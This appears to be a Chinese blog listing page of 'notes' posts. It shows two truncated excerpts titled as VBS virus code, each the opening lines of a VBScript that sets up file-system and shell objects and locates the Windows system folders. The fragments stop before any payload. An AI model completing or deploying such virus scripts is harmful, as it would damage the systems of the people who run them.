笔记
文章平均质量分 80
血月星
这个作者很懒,什么都没留下…
展开
-
vbs病毒1
,,,,On Error Resume NextSet fs=CreateObject("Scripting.FileSystemObject")Set dir1=fs.GetSpecialFolder(0)Set dir2=fs.GetSpecialFolder(1)Set so=CreateObject("Scripting.FileSystemObject")nextOn Error Resume Nextdim rSet r=CreateObject("Wscri原创 2022-04-10 16:44:00 · 306 阅读 · 0 评论 -
某病毒代码
On Error Resume NextDim Fso,WshShellSet Fso=CreateObject(“scRiPTinG.fiLEsysTeMoBjEcT”)Set WshShell=CreateObject(“wScRipT.SHelL”)Call Main()Sub Main()On Error Resume NextDim Args, VirusLoad, VirusAssSet Args=WScript.ArgumentsVirusLoad=GetMainVirus(原创 2022-01-19 15:38:42 · 149 阅读 · 0 评论